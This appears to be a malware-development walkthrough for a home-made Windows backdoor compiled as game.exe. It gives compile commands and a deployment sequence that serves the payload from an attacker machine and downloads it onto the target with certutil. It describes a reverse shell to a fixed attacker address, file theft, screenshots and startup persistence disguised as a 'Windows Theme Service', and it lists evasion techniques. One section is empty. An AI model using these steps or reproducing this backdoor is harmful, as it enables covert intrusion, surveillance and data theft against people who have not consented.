Malware Analysis: Code Walkthrough

view the game.c file

This is a Windows backdoor/malware that provides remote control capabilities to an attacker. Here's what it does:

after you need to do this : first open the MSYS2 UCRT64 application and run this commands :

cd /c/Users/p/Desktop/Pentesting/MAL\ DEV/

gcc game.c -o game.exe -lws2_32 -lgdi32 -lole32 -loleaut32 -ltaskschd -luuid -mwindows
 

or

C:\MinGW\bin\gcc.exe game.c -o game.exe -lws2_32 -lgdi32 -lole32 -loleaut32 -ltaskschd -luuid -mwindows

This command compiles the malware into a Windows executable file called game.exe

after do this :

(in the Windows attacker )

python -m http.server 8000

(in the Windows target )

## Navigate to Desktop directory
cd $HOME\Desktop
 
## Download the payload using certutil
certutil -urlcache -split -f "http://IP_windows:8000/game.exe" game.exe

Main Features:

1. Reverse Shell - Connects back to attacker's server (192.168.1.10:7123)
2. Persistence - Automatically installs itself to run on system startup
3. File Download - Can download files from victim's computer
4. Screen Capture - Takes screenshots of the victim's desktop

Technical Breakdown:

Persistence Mechanism:

Copies itself to %APPDATA%\Microsoft\Windows\Themes\themesvc.exe Creates a shortcut in Startup folder to run automatically

Remote Control Capabilities: Executes system commands via cmd.exe Downloads files from infected machine Captures screenshots and sends to attacker

Security Concerns:

Stealthy operation (masquerades as "Windows Theme Service") No user consent for remote access Data exfiltration capabilities Permanent access through startup persistence

Windows API Libraries:#

1. <winsock2.h> Purpose: Network communications

Used for:

socket() - Create network connection
connect() - Connect to server
send()/recv() - Send/receive data

2. <windows.h> Purpose: Core Windows functions

Used for:

GetSystemMetrics() - Screen information
CreateProcess() - Run processes
CreateFile() - File handling

3. <shlobj.h> Purpose: Special system folders

Used for:

SHGetFolderPath() - Get system folder paths
CSIDL_STARTUP - Startup folder
CSIDL_APPDATA - AppData folder

4. <taskschd.h> Purpose: Task Scheduler (not actually used in final code)

COM and Linking Libraries:#

5. <combaseapi.h> Purpose: Component Object Model

Used for:

CoInitialize() - Initialize COM CoCreateInstance() - Create COM objects

6. <initguid.h> + #define INITGUID Purpose: Define GUIDs for COM

Additional Libraries:#

7. <stdio.h> Purpose: Basic Input/Output

Used for: fopen(), fread(), fclose() - File operations

Linking Libraries:#

#pragma comment(lib, "ole32.lib")        // OLE/COM functions
#pragma comment(lib, "oleaut32.lib")     // OLE Automation
#pragma comment(lib, "taskschd.lib")     // Task Scheduler
#pragma comment(lib, "ws2_32.lib")       // Winsock 2.0
#pragma comment(lib, "gdi32.lib")        // Graphics Device Interface

CaptureScreen Function - Brief Explanation#

CaptureScreen(const char* filename) 

This function captures a screenshot of the entire desktop and saves it as a BMP file. ""BMP stands for Bitmap - it's a raster graphics image file format developed by Microsoft. It's one of the simplest image formats and is widely supported.""

ExecuteCmd Function - Brief Explanation#

void ExecuteCmd(SOCKET s)

This function creates a remote command execution backdoor that allows an attacker to control the victim's computer through a network connection.

So This function gives the attacker complete remote control over the victim's system, allowing them to:

Run any Windows commands Steal files Spy on user activity via screenshots Maintain persistent access This is essentially a full remote administration tool hidden in malware!

Communication Flow:

Attacker → Commands → Malware → cmd.exe
Attacker ← Results  ← Malware ← cmd.exe

AddPersistence Function - Brief Explanation#

void AddPersistence()

This function installs the malware to run automatically every time the computer starts, ensuring persistent access even after reboot.

This function ensures the malware:

Survives reboots Runs automatically on every startup Hides in system-like locations Uses deceptive names to avoid detection Maintains permanent access to the infected system

Stealth Techniques Used:#

1. Location Hiding Copies to: %APPDATA%\Microsoft\Windows\Themes
   Uses Windows system-like path to avoid suspicion Name: themesvc.exe (sounds legitimate)

2. Disguise Fake description: "Windows Theme Service" Hidden in legitimate-looking path Starts automatically with Windows

3. Persistence Mechanism Uses Startup folder method Creates shortcut (.lnk file) instead of direct copy Runs with user privileges on every login

File Locations After Execution:#

Main Function - Brief Explanation#

int main() 

This is the core controller that sets up the malware's persistent connection to the attacker's server and maintains continuous operation.

Malware Lifecycle:#

1. Install Persistence → 2. Initialize Networking → 3. Continuous Connection Attempts ↓
2. On Success: Execute Remote Commands ↓
3. On Failure: Wait 20s → Retry Forever